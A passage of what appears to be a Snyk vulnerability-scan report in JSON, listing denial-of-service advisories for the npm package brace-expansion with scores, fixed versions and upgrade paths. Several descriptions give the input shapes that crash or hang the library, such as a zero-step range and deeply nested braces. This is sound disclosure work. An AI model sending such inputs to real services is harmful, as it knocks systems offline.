},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
